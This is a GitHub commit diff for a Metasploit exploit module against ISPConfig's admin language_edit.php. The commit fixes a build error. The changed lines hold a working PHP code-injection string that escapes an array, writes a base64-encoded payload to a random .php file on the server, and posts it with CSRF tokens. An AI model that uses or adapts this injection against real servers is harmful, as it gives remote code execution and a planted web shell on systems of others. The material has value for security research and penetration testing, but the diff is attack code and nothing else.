Skip to content

Commit 93a8334

Browse files
committed
fixed: build issue
1 parent 840ae0f commit 93a8334

File tree

1 file changed

+3
-2
lines changed

1 file changed

+3
-2
lines changed

modules/exploits/linux/http/ispconfig_lang_edit_php_code_injection.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -142,7 +142,8 @@ def authenticate
142142
def inject_payload
143143
print_status('Injecting PHP payload...')
144144
@payload_file = "#{Rex::Text.rand_text_alpha_lower(8)}.php"
145-
injection = %<'];file_put_contents('#{@payload_file}',base64_decode('#{Base64.strict_encode64(payload.encoded)}');die;#"
145+
b64_payload = Base64.strict_encode64(payload.encoded)
146+
injection = "'];file_put_contents('#{@payload_file}',base64_decode('#{b64_payload}'));die;#"
146147
lang_file = Rex::Text.rand_text_alpha_lower(10) + ".lng"
147148
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
148149
initial_data = {
@@ -170,7 +171,7 @@ def inject_payload
170171
'lang_file' => lang_file,
171172
'_csrf_id' => csrf_id,
172173
'_csrf_key' => csrf_key,
173-
'records[\\]' => injection
174+
'records[\]' => injection
174175
}
175176
res = send_request_cgi({
176177
'method' => 'POST',

0 commit comments

Comments
 (0)